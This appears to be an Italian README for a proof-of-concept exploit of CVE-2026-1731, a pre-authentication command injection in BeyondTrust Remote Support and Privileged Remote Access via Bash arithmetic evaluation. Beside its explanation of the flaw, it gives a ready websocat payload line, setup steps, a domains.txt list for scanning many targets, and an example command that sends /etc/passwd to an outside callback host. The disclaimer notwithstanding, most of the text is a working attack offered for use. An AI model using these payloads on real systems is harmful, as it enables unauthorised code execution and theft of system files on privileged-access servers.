
CVE-2026-1731 - Vulnerabilità critica di iniezione di comandi in BeyondTrust Remote Support e Privileged Remote Access dovuta a una valutazione aritmetica di Bash non sicura in uno script raggiungibile via WebSocket.
[!WARNING] Questo script è inteso esclusivamente a scopo didattico e di ricerca. Non utilizzarlo su sistemi senza autorizzazione esplicita. L'accesso o i test non autorizzati sono illegali e non etici. Leggi il DISCLAIMER completo prima di usare questo script.
Questo script dimostra una vulnerabilità critica di command injection (CVE-2026-1731) che colpisce BeyondTrust Remote Support (RS) e Privileged Remote Access (PRA). Il problema origina dallo stesso endpoint raggiungibile via WebSocket coinvolto nella precedente e nota CVE-2024-12356, rendendo questa una variante strettamente correlata.
La vulnerabilità esiste perché lo script thin-scc-wrapper del server esegue confronti aritmetici su input controllati dall'attaccante, in particolare sul valore remoteVersion inviato durante l'handshake WebSocket. Bash tratta gli operandi nei confronti numerici come espressioni, non come semplici stringhe, consentendo a payload costruiti come a[$(cmd)]0 di innescare esecuzione arbitraria di comandi durante la valutazione.
Anche se BeyondTrust ha aggiunto un controllo numerico di sanità in questo ciclo di patch, ciò non impedisce a Bash di eseguire successivamente la valutazione delle espressioni, lasciando l'endpoint sfruttabile. Gli attaccanti possono ottenere l'esecuzione di codice semplicemente aprendo una connessione WebSocket e inviando un valore di versione malizioso prima dell'autenticazione.
echo -ne "hax[\$(ATTACKER-COMMAND)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | \
./websocat -k wss://AFFECTED-SYSTEM:443/nw \
--protocol "ingredi support desk customer thin" \
-H "X-Ns-Company: COMPANY-NAME" \
--binary -n -
pip3 install requests
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat
(Mettilo nella stessa cartella del tuo script Python.)
Oppure spostalo a livello di sistema:
sudo mv websocat /usr/local/bin/
domains.txt nella stessa directoryAggiungi gli URL che vuoi testare:
example1.com
example2.com
example3.com
Modifica la seguente riga nello script per configurare il comando che vuoi che l'exploit WebSocket esegua:
CMD = "YOUR-COMMAND-HERE"
Ad esempio:
CMD = "curl -X POST -d @/etc/passwd http://XXXXXXXXX.oast.fun/"
Una volta impostato il comando, esegui lo script:
python3 exploit.py
Oppure rendilo eseguibile ed eseguilo direttamente:
chmod +x exploit.py
./exploit.py

